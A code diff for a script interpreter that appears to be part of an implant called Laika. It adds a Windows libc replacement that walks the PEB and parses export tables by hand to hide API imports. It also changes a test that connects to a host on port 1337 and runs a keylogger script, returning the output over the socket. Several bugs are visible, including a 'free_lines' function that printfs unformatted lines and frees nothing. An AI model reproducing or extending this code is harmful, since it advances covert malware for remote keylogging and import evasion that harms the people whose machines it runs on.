+ free_(line_cpy);
return 0;
}
strcpy(state->args->arg2, arg);
- free(line_cpy);
+ free_(line_cpy);
return 0;
}
diff --git a/src/interpreter_states.h b/src/interpreter_states.h
index 47fc149..86e5327 100644
--- a/src/interpreter_states.h
+++ b/src/interpreter_states.h
@@ -73,7 +73,7 @@ typedef enum E_ARRAY_ERR {
} ARRAY_ERR;
int init_state();
-void free_state();
+void free__state();
void set_exit_state(int exit_state);
int get_exit_state();
LABEL_ERR add_label(char *label, int line);
diff --git a/src/libc.c b/src/libc.c
new file mode 100644
index 0000000..ae1e8ac
--- /dev/null
+++ b/src/libc.c
@@ -0,0 +1,437 @@
+#include "libc.h"
+
+#ifdef _WIN32
+HANDLE _crt_heap_ = 0;
+
+#include
+#ifdef _M_X64
+ #define GetTEB() ((PTEB)__readgsqword(FIELD_OFFSET(NT_TIB, Self)))
+#else
+ #define GetTEB() ((PTEB)__readfsdword(FIELD_OFFSET(NT_TIB, Self)))
+#endif
+
+typedef LPVOID(WINAPI* fHeapAlloc)(HANDLE, DWORD, SIZE_T);
+typedef BOOL(WINAPI* fHeapFree)(HANDLE, DWORD, LPVOID);
+typedef HANDLE(WINAPI* fHeapCreate)(DWORD, SIZE_T, SIZE_T);
+typedef LPVOID(WINAPI* fHeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T);
+typedef NTSTATUS(NTAPI* fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
+typedef NTSTATUS(NTAPI* fLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
+typedef HMODULE(WINAPI* fLoadLibraryW)(LPCWSTR);
+typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
+
+fGetProcAddress pGetProcAddress = NULL;
+fLoadLibraryW pLoadLibraryW = NULL;
+
+fHeapAlloc pHeapAlloc = NULL;
+fHeapFree pHeapFree = NULL;
+fHeapCreate pHeapCreate = NULL;
+fHeapReAlloc pHeapReAlloc = NULL;
+#endif
+
+#ifndef _WIN32
+#include
+#include
+#endif
+
+#define IS_LOW(c) ((c >= 'a' && c <= 'z') ? (1) : (0))
+#define IS_UP(c) ((c >= 'A' && c <= 'Z') ? (1) : (0))
+#define IS_ALPHA(c) ((IS_LOW(c) || IS_UP(c)) ? (1) : (0))
+#define IS_NUM(c) ((c >= '0' && c <= '9') ? (1) : (0))
+#define IS_SPACE(c) (c == ' ')
+
+void* malloc_(size_t _Size) {
+#ifndef _WIN32
+ return malloc(_Size);
+#else
+ if (_crt_heap_ == 0) {
+ if (pHeapCreate == NULL) {
+ pHeapCreate = GetApi(L"KERNEL32.DLL", "HeapCreate");
+ }
+ _crt_heap_ = pHeapCreate(0, 0, 0);
+ }
+
+ if (pHeapAlloc == NULL) {
+ pHeapAlloc = GetApi(L"KERNEL32.DLL", "HeapAlloc");
+ }
+ return pHeapAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Size);
+#endif
+}
+
+void free_(void* _Block) {
+#ifndef _WIN32
+ free(_Block);
+ return;
+#else
+ if (pHeapFree == NULL) {
+ pHeapFree = GetApi(L"KERNEL32.DLL", "HeapFree");
+ }
+ pHeapFree(_crt_heap_, 0, _Block);
+ return;
+#endif
+}
+
+void* realloc_(void* _Block, size_t _Size) {
+#ifndef _WIN32
+ return realloc(_Block, _Size);
+#else
+ if (_crt_heap_ == 0) {
+ if (pHeapCreate == NULL) {
+ pHeapCreate = GetApi(L"KERNEL32.DLL", "HeapCreate");
+ }
+ _crt_heap_ = pHeapCreate(0, 0, 0);
+ }
+ if (_Block == NULL) {
+ if (pHeapAlloc == NULL) {
+ pHeapAlloc = GetApi(L"KERNEL32.DLL", "HeapAlloc");
+ }
+ return pHeapAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Size);
+ }
+ if (pHeapReAlloc == NULL) {
+ pHeapReAlloc = GetApi(L"KERNEL32.DLL", "HeapReAlloc");
+ }
+ return pHeapReAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Block, _Size);
+#endif
+}
+
+int strlen__(char const* str)
+{
+ int len = 0;
+
+ if (!str)
+ return 1;
+ for (int i = 0; str[i] != '\0'; i += 1) {
+ len += 1;
+ }
+ return (len);
+}
+
+char* strcpy__(char* dest, char const* src)
+{
+ int len = strlen__(src);
+
+ for (int i = 0; src[i] != '\0'; i += 1) {
+ dest[i] = src[i];
+ }
+ dest[len] = '\0';
+ return dest;
+}
+
+char* strdup_(char const* src)
+{
+#ifndef _WIN32
+ return strdup(src);
+#endif
+ char* dup;
+ int src_len;
+
+ if (src == NULL)
+ return NULL;
+ src_len = strlen__(src);
+ dup = malloc_(sizeof(char) * (src_len + 1));
+ strcpy__(dup, src);
+ return (dup);
+}
+
+int strncmp__(char const* s1, char const* s2, int n)
+{
+#ifndef _WIN32
+ return strncmp(s1, s2, n);
+#endif
+ for (int i = 0; i < n; i += 1) {
+ if (s1[i] == '\0' || s2[i] == '\0') {
+ return (s1[i] - s2[i]);
+ }
+ if (s1[i] == s2[i]) {
+ continue;
+ }
+ return (s1[i] - s2[i]);
+ }
+ return (0);
+}
+
+int strcmp__(char const* s1, char const* s2)
+{
+#ifndef _WIN32
+ return strcmp(s1, s2);
+#endif
+ int max_len;
+
+ if (strlen__(s1) > strlen__(s2)) {
+ max_len = strlen__(s1);
+ }
+ else {
+ max_len = strlen__(s2);
+ }
+ for (int i = 0; i < max_len; i += 1) {
+ if (s1[i] == s2[i]) {
+ continue;
+ }
+ return (s1[i] - s2[i]);
+ }
+ return (0);
+}
+
+char* strstr__(char* str, char const* to_find)
+{
+#ifndef WIN32
+ return strstr(str, to_find);
+#endif
+ int len_str = strlen__(str);
+ int len_str_to_find = strlen__(to_find);
+
+ if (strlen__(to_find) == 0) {
+ return (str);
+ }
+ for (int i = 0; i < len_str - len_str_to_find + 1; i += 1) {
+ if (strncmp__(&str[i], to_find, strlen__(to_find)) == 0) {
+ return (&str[i]);
+ }
+ }
+ return (NULL);
+}
+
+//https://github.com/gcc-mirror/gcc/blob/master/libiberty/strtol.c
+long strtol_(const char* nptr, char** endptr, register int base)
+{
+#ifndef _WIN32
+ return strtol(nptr, endptr, base);
+#endif
+ register const char* s = nptr;
+ register unsigned long acc;
+ register int c;
+ register unsigned long cutoff;
+ register int neg = 0, any, cutlim;
+
+ /*
+ * Skip white space and pick up leading +/- sign if any.
+ * If base is 0, allow 0x for hex and 0 for octal, else
+ * assume decimal; if base is already 16, allow 0x.
+ */
+ do {
+ c = *s++;
+ } while (IS_SPACE(c));
+ if (c == '-') {
+ neg = 1;
+ c = *s++;
+ }
+ else if (c == '+')
+ c = *s++;
+ if ((base == 0 || base == 16) &&
+ c == '0' && (*s == 'x' || *s == 'X')) {
+ c = s[1];
+ s += 2;
+ base = 16;
+ }
+ if (base == 0)
+ base = c == '0' ? 8 : 10;
+
+ /*
+ * Compute the cutoff value between legal numbers and illegal
+ * numbers. That is the largest legal value, divided by the
+ * base. An input number that is greater than this value, if
+ * followed by a legal input character, is too big. One that
+ * is equal to this value may be valid or not; the limit
+ * between valid and invalid numbers is then based on the last
+ * digit. For instance, if the range for longs is
+ * [-2147483648..2147483647] and the input base is 10,
+ * cutoff will be set to 214748364 and cutlim to either
+ * 7 (neg==0) or 8 (neg==1), meaning that if we have accumulated
+ * a value > 214748364, or equal but the next digit is > 7 (or 8),
+ * the number is too big, and we will return a range error.
+ *
+ * Set any if any `digits' consumed; make it negative to indicate
+ * overflow.
+ */
+ cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX;
+ cutlim = cutoff % (unsigned long)base;
+ cutoff /= (unsigned long)base;
+ for (acc = 0, any = 0;; c = *s++) {
+ if (IS_NUM(c))
+ c -= '0';
+ else if (IS_ALPHA(c))
+ c -= IS_UP(c) ? 'A' - 10 : 'a' - 10;
+ else
+ break;
+ if (c >= base)
+ break;
+ if (any < 0 || acc > cutoff || (acc == cutoff && c > cutlim))
+ any = -1;
+ else {
+ any = 1;
+ acc *= base;
+ acc += c;
+ }
+ }
+ if (any < 0) {
+ acc = neg ? LONG_MIN : LONG_MAX;
+ }
+ else if (neg)
+ acc = -acc;
+ if (endptr != 0)
+ *endptr = (char*)(any ? s - 1 : nptr);
+ return (acc);
+}
+
+//https://opensource.apple.com/source/Libc/Libc-167/string.subproj/strtok.c.auto.html
+char* strtok_(register char *s, register const char* delim)
+{
+#ifndef _WIN32
+ return strtok(s, delim);
+#endif
+ register char* spanp;
+ register int c, sc;
+ char* tok;
+ static char* last;
+
+
+ if (s == NULL && (s = last) == NULL)
+ return (NULL);
+
+ /*
+ * Skip (span) leading delimiters (s += strspn(s, delim), sort of).
+ */
+cont:
+ c = *s++;
+ for (spanp = (char*)delim; (sc = *spanp++) != 0;) {
+ if (c == sc)
+ goto cont;
+ }
+
+ if (c == 0) { /* no non-delimiter characters */
+ last = NULL;
+ return (NULL);
+ }
+ tok = s - 1;
+
+ /*
+ * Scan token (scan for delimiters: s += strcspn(s, delim), sort of).
+ * Note that delim must have one NUL; we stop if we see that, too.
+ */
+ for (;;) {
+ c = *s++;
+ spanp = (char*)delim;
+ do {
+ if ((sc = *spanp++) == c) {
+ if (c == 0)
+ s = NULL;
+ else
+ s[-1] = 0;
+ last = s;
+ return (tok);
+ }
+ } while (sc != 0);
+ }
+ /* NOTREACHED */
+}
+
+#ifdef _WIN32
+#pragma optimize("", off)
+#endif
+void* memset__(void* a, int val, size_t size) {
+#ifndef _WIN32
+ return memset(a, val, size);
+#endif
+ if (a == NULL)
+ return NULL;
+ for (size_t i = 0; i < size; i++)
+ ((char*)a)[i] = (char)val;
+ return a;
+}
+#ifdef _WIN32
+#pragma optimize("", on)
+#endif
+
+#ifdef _WIN32
+wchar_t tolower_wchar(wchar_t wc) {
+ if (wc >= L'A' && wc <= L'Z') {
+ return wc + (L'a' - L'A');
+ }
+ return wc;
+}
+
+wchar_t* wcsstr__(const wchar_t* haystack, const wchar_t* needle) {
+ if (!*needle)
+ return (wchar_t*)haystack;
+ while (*haystack) {
+ const wchar_t* h = haystack;
+ const wchar_t* n = needle;
+
+ while (*h && *n && (tolower_wchar(*h) == tolower_wchar(*n))) {
+ h++;
+ n++;
+ }
+ if (!*n)
+ return (wchar_t*)haystack;
+ haystack++;
+ }
+ return NULL;
+}
+
+HMODULE get_module(const wchar_t* mod) {
+ PTEB tebPtr = GetTEB();
+
+ PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr;
+ PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList);
+ for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
+ LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
+ if (wcsstr__(module->FullDllName.Buffer, mod) != NULL) {
+ return (HMODULE)(module->DllBase);
+ }
+ }
+ return NULL;
+}
+
+void* GetProcAddress_(HMODULE hModule, LPCSTR lpProcName) {
+ if (hModule == NULL) {
+ return NULL;
+ }
+
+ IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule;
+ if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
+ return NULL;
+ }
+
+ IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew);
+ if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
+ return NULL;
+ }
+
+ IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+ DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
+ DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
+ WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
+
+ for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
+ const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]);
+ if (strcmp(functionName, lpProcName) == 0) {
+ DWORD funcRVA = addrRVAs[ordinals[i]];
+ void* funcPtr = (void*)((BYTE*)hModule + funcRVA);
+ return funcPtr;
+ }
+ }
+ return NULL;
+}
+
+void* GetApi(const wchar_t* module, LPCSTR function) {
+ if (pGetProcAddress == NULL) {
+ HMODULE hKernel32 = NULL;
+ if (pLoadLibraryW == NULL) { //should not happen as Laika loads the required modules at startup
+ HMODULE ntdll = get_module(L"ntdll.dll");
+ fLdrLoadDll ldr = (fLdrLoadDll)GetProcAddress_(ntdll, "LdrLoadDll");
+ fRtlInitUnicodeString r = (fRtlInitUnicodeString)GetProcAddress_(ntdll, "RtlInitUnicodeString");
+ wchar_t* wide = L"kernel32.dll";
+ UNICODE_STRING dll;
+
+ r(&dll, wide);
+ ldr(0, 0, &dll, (PVOID*)&hKernel32);
+ pLoadLibraryW = GetProcAddress_(hKernel32, "LoadLibraryW");
+ }
+ pGetProcAddress = GetProcAddress_(hKernel32, "GetProcAddress");
+ }
+ HMODULE mod = get_module(module);
+ if (mod == NULL) {
+ mod = pLoadLibraryW(module);
+ }
+ return pGetProcAddress(mod, function);
+}
+#endif
\ No newline at end of file
diff --git a/src/libc.h b/src/libc.h
new file mode 100644
index 0000000..5bfd90b
--- /dev/null
+++ b/src/libc.h
@@ -0,0 +1,22 @@
+#pragma once
+#include
+
+#ifdef _WIN32
+#include
+extern HANDLE _crt_heap_;
+
+#endif
+
+void* malloc_(size_t _Size);
+void free_(void* _Block);
+void* realloc_(void* _Block, size_t _Size);
+char* strdup_(char const* src);
+int strncmp__(char const* s1, char const* s2, int n);
+int strcmp__(char const* s1, char const* s2);
+char* strstr__(char* str, char const* to_find);
+long strtol_(const char* nptr, char** endptr, register int base);
+char* strtok_(register char* s, register const char* delim);
+void* memset__(void* a, int val, size_t size);
+#ifdef _WIN32
+void* GetApi(const wchar_t* module, LPCSTR function);
+#endif
diff --git a/src/pasm.c b/src/pasm.c
index 24592be..abf8010 100644
--- a/src/pasm.c
+++ b/src/pasm.c
@@ -3,6 +3,7 @@
#include "file_utils.h"
#include "debug.h"
+#include "libc.h"
#include "interpreter_states.h"
#include "instructions.h"
@@ -10,27 +11,61 @@ int fstream = 0;
int pasm_debug_mode = 0;
#ifdef _WIN32 // i swear i hate windows at this point
-#pragma comment(lib, "ws2_32.lib")
-
#include
#include
-#include
+
+typedef HANDLE(WINAPI* fGetStdHandle)(DWORD);
+typedef int(WINAPI* fwvsprintfA)(LPSTR, LPCSTR, va_list);
+typedef BOOL(WINAPI* fWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
+
+fGetStdHandle pGetStdHandle = NULL;
+fwvsprintfA pwvsprintfA = NULL;
+fWriteFile pWriteFile = NULL;
int dprintf(int stream, const char * format, ...) {
- char buf[256] = {0}; //might overflow but whatever, fuck Windows
+ char buffer[1024]; //might overflow but whatever, fuck Windows
va_list args;
+ DWORD written;
+ int length;
va_start(args, format);
- int wrote = vsprintf(buf, format, args);
- struct sockaddr name = {0};
- int len = 0;
- if (getsockname(stream, &name, &len) != 0) {
- _write(stream, buf, sizeof(buf));
+ HANDLE h;
+
+ if (pGetStdHandle == NULL)
+ pGetStdHandle = (fGetStdHandle)GetApi(L"KERNEL32.DLL", "GetStdHandle");
+ if (pwvsprintfA == NULL)
+ pwvsprintfA = (fwvsprintfA)GetApi(L"USER32.dll", "wvsprintfA");
+ if (pWriteFile == NULL)
+ pWriteFile = (fWriteFile)GetApi(L"KERNEL32.DLL", "WriteFile");
+
+ switch (stream) {
+ case 1: // stdout
+ h = pGetStdHandle(STD_OUTPUT_HANDLE);
+ break;
+ case 2: // stderr
+ h = pGetStdHandle(STD_ERROR_HANDLE);
+ break;
+ default: // Assume stream is a socket
+ h = (HANDLE)stream;
+ break;
+ }
+
+ length = pwvsprintfA(buffer, format, args);
+ va_end(args);
+
+ if (stream == 1 || stream == 2) {
+ if (!pWriteFile(h, buffer, length, &written, NULL)) {
+ return -1;
+ }
}
else {
- send(stream, buf, sizeof(buf), 0);
+ OVERLAPPED ov = {0};
+ if (!pWriteFile(h, buffer, length, &written, &ov)) {
+ state->should_exit = 1; //broken socket -> host disconnected
+ return -1;
+ }
}
- va_end(args);
- return wrote;
+
+ return length;
}
#endif
@@ -41,10 +76,21 @@ void show_error(size_t line, char *line_) {
int wrote = dprintf(fstream, "%ld| ", line + 1);
#endif
dprintf(fstream, "%s\n", line_);
+#ifdef _WIN32
+ // I hate you Windows
+
+ for (int j = 0; j < wrote; j++)
+ dprintf(fstream, " ");
+ dprintf(fstream, "^\n");
+ for (int k = 0; k < wrote; k++)
+ dprintf(fstream, " ");
+ dprintf(fstream, "|\n");
+#else
dprintf(fstream, "%*s\n", wrote + 1, "^");
dprintf(fstream, "%*s\n", wrote + 1, "|");
+#endif
for (int i = 0; i < wrote; i++)
- dprintf(fstream, " ");
+ dprintf(fstream, " ");
}
int check_errors(char *line) {
@@ -92,7 +138,7 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea
return 1;
if (init_state() == 1) {
dprintf(fstream, "Failed to initialize the interpreter.\n");
- free_script(file);
+ free__script(file);
return 1;
}
@@ -101,39 +147,44 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea
if (pasm_debug_mode && found_main)
debug_input(file[state->curr_line]);
#ifdef _WIN32
- char* line = _strdup(file[state->curr_line]);
+ char* line = strdup_(file[state->curr_line]);
#else
char *line = strdup(file[state->curr_line]);
#endif
- if (line[0] == ';' || line[0] == '\0' || line[0] == '\t') {
- free(line);
+ if (line[0] == ';' || line[0] == '\0' || line[0] == '\t' || line[0] == '\r' || line[0] == '\n') {
+ free_(line);
continue;
}
- const command_t *com = find_command(command_map, strtok(line, " "));
+ while (file[state->curr_line][strlen(line) - 1] == '\r' || file[state->curr_line][strlen(line) - 1] == '\n') {
+ file[state->curr_line][strlen(line) - 1] = '\0';
+ line[strlen(line) - 1] = '\0';
+ }
+
+ const command_t *com = find_command(command_map, strtok_(line, " "));
if (com == NULL || com->fptr == NULL) {
ARRAY_ERR err = add_array(file[state->curr_line]);
if (err == ARRAY_OK) {
- free(line);
+ free_(line);
continue;
}
if (err == ARRAY_ERROR) {
show_error(state->curr_line, file[state->curr_line]);
dprintf(fstream, "%s\n", "bad syntax in array definition");
set_exit_state(-1);
- free(line);
+ free_(line);
break;
}
if (file[state->curr_line][strlen(line) - 1] != ':') {
show_error(state->curr_line, file[state->curr_line]);
- dprintf(fstream, "%s \"%s\"\n", "unknown expression", strtok(file[state->curr_line], " "));
+ dprintf(fstream, "%s \"%s\"\n", "unknown expression", strtok_(file[state->curr_line], " "));
set_exit_state(-1);
- free(line);
+ free_(line);
break;
}
add_label(line, state->curr_line);
- if (!found_main && strcmp(line, "main:") == 0)
+ if (!found_main && strcmp__(line, "main:") == 0)
found_main = 1;
- free(line);
+ free_(line);
continue;
}
parse_arguments(file[state->curr_line]);
@@ -144,10 +195,10 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea
set_exit_state(-1);
break;
}
- free(line);
+ free_(line);
}
int ret_code = get_exit_state();
- free_script(file);
+ //free__script(file);
return ret_code;
}
diff --git a/tests/socket_win32.c b/tests/socket_win32.c
index bac57b9..bfa937e 100644
--- a/tests/socket_win32.c
+++ b/tests/socket_win32.c
@@ -9,76 +9,82 @@
#define BUFFER_SIZE 4096
-char** get_lines(char* str, int* count) {
- // Check for null pointer
- if (!str || !count) {
- return 0;
+
+#define INITIAL_BUFFER_SIZE 256
+#define INITIAL_ARRAY_SIZE 10
+
+char** read_file_into_array(const char* filename, int* lines_count) {
+ FILE* file = fopen(filename, "r");
+ if (file == NULL) {
+ perror("Error opening file");
+ return NULL;
}
- // Count the number of lines
- *count = 1;
- for (char* p = str; *p; ++p) {
- if (*p == '\r' && *(p + 1) == '\n') {
- ++(*count);
- ++p; // Skip '\n'
- }
+ // Allocate initial space for the array of strings
+ int array_size = INITIAL_ARRAY_SIZE;
+ char** lines = malloc(array_size * sizeof(char*));
+ if (lines == NULL) {
+ perror("Error allocating memory for lines");
+ fclose(file);
+ return NULL;
}
- // Allocate memory for char** array
- char** lines = (char**)malloc((*count + 1) * sizeof(char*));
- if (!lines) {
- // Handle allocation failure
- return 0;
- }
+ char buffer[INITIAL_BUFFER_SIZE];
+ int count = 0;
- // Copy lines to char** array
- int lineIndex = 0;
- char* start = str;
- for (char* p = str; *p; ++p) {
- if (*p == '\r' && *(p + 1) == '\n') {
- int lineLength = p - start;
- lines[lineIndex] = (char*)malloc((lineLength + 1) * sizeof(char));
- if (!lines[lineIndex]) {
- // Handle allocation failure
+ while (fgets(buffer, INITIAL_BUFFER_SIZE, file)) {
+ // Remove newline character, if present
+ buffer[strcspn(buffer, "\n")] = '\0';
+
+ // Reallocate if necessary
+ if (count >= array_size) {
+ array_size *= 2;
+ char** temp = realloc(lines, array_size * sizeof(char*));
+ if (temp == NULL) {
+ perror("Error reallocating memory for lines");
// Free previously allocated memory
- for (int i = 0; i < lineIndex; ++i) {
+ for (int i = 0; i < count; i++) {
free(lines[i]);
}
free(lines);
- return 0;
+ fclose(file);
+ return NULL;
}
- strncpy(lines[lineIndex], start, lineLength);
- lines[lineIndex][lineLength] = '\0'; // Null-terminate the line
- ++lineIndex;
- ++p; // Skip '\n'
- start = p + 1; // Move to the next line
+ lines = temp;
}
+
+ // Allocate memory for the line and store it
+ lines[count] = malloc(strlen(buffer) + 1);
+ if (lines[count] == NULL) {
+ perror("Error allocating memory for a line");
+ // Free previously allocated memory
+ for (int i = 0; i < count; i++) {
+ free(lines[i]);
+ }
+ free(lines);
+ fclose(file);
+ return NULL;
+ }
+
+ strcpy(lines[count], buffer);
+ count++;
}
- // Copy the last line
- int lastLineLength = strlen(start);
- lines[lineIndex] = (char*)malloc((lastLineLength + 1) * sizeof(char));
- if (!lines[lineIndex]) {
- // Handle allocation failure
- // Free previously allocated memory
- for (int i = 0; i <= lineIndex; ++i) {
- free(lines[i]);
- }
- free(lines);
- return 0;
- }
- strcpy(lines[lineIndex], start);
- lines[*count] = 0; // Null-terminate the char** array
+ fclose(file);
+
+ // Store the number of lines read
+ *lines_count = count;
return lines;
}
-int WinMain(
- HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpCmdLine,
- int nShowCmd
-) {
+void free_lines(char** lines, int count) {
+ for (int i = 0; i < count; i++) {
+ printf(lines[i]);
+ }
+}
+
+int main(int argc, char** argv) {
int sock;
int first = 1;
struct sockaddr_in server;
@@ -100,7 +106,7 @@ retry:
first = 0;
}
- server.sin_addr.s_addr = inet_addr("192.168.1.35");
+ server.sin_addr.s_addr = inet_addr("192.168.56.1");
server.sin_port = htons(1337);
//Create socket
@@ -118,23 +124,9 @@ retry:
goto retry;
}
- //keep communicating with server
- while (1)
- {
- memset(server_reply, 0, BUFFER_SIZE);
+ const char* filename = "../../examples/keylogger.pasm";
+ int lines_count;
+ char** lines = read_file_into_array(filename, &lines_count);
- //Receive a reply from the server
- if (recv(sock, server_reply, BUFFER_SIZE, 0) <= 0)
- {
- //recv failed
- Sleep(500);
- goto retry;
- }
-
- int lines = 0;
- char **script = get_lines(server_reply, &lines);
-
- printf("%d\n", pasm_run_script("../examples/keylogger.pasm", 0, 0, sock));
- }
- return 0;
+ return pasm_run_script(NULL, lines, lines_count, sock);
}